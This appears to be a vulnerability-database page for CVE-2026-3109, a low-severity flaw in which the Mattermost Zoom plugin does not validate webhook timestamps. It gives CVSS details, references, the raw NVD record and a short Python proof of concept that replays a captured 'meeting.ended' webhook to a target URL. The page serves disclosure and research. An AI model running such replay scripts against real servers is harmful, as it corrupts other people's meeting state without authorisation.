CVE-2026-3109

Description

Mattermost Plugins versions <=11.4 10.11.11.0 fail to validate webhook request timestamps which allows an attacker to corrupt Zoom meeting state in Mattermost via replayed webhook requests. Mattermost Advisory ID: MMSA-2026-00584

CVSS Details

CVSS Score

2.2

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Mattermost Plugins <= 11.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# PoC for CVE-2026-3109: Mattermost Webhook Replay Attack
# This script demonstrates how a captured webhook request can be replayed
# due to lack of timestamp validation.

target_url = "https://mattermost.example.com/plugins/zoom/webhook"

# Example captured payload (previously sent by Zoom)
payload = {
    "event": "meeting.ended",
    "payload": {
        "object": {
            "id": "123456789",
            "topic": "Secret Meeting"
        }
    }
}

headers = {
    "Content-Type": "application/json",
    # Authorization header is often validated, but without timestamp check,
    # the signature remains valid for the replayed payload content.
    "Authorization": "Bearer <captured_signature>" 
}

print("[*] Sending replayed webhook request...")
response = requests.post(target_url, json=payload, headers=headers)

if response.status_code == 200:
    print("[+] Request accepted. Meeting state likely corrupted.")
else:
    print(f"[-] Request failed. Status: {response.status_code}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-3109
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-3109
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-3109/
[4] VulDB https://vuldb.com/cve/CVE-2026-3109
[5] https://mattermost.com/security-updates

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-3109", "sourceIdentifier": "[email protected]", "published": "2026-03-26T17:16:41.967", "lastModified": "2026-03-30T13:26:50.827", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost Plugins versions <=11.4 10.11.11.0 fail to validate webhook request timestamps which allows an attacker to corrupt Zoom meeting state in Mattermost via replayed webhook requests. Mattermost Advisory ID: MMSA-2026-00584"}, {"lang": "es", "value": "Las versiones <=11.4 10.11.11.0 de los plugins de Mattermost no validan las marcas de tiempo de las solicitudes de webhook, lo que permite a un atacante corromper el estado de las reuniones de Zoom en Mattermost mediante solicitudes de webhook repetidas. ID de aviso de Mattermost: MMSA-2026-00584"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:L", "baseScore": 2.2, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 0.7, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-754"}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]"}]}}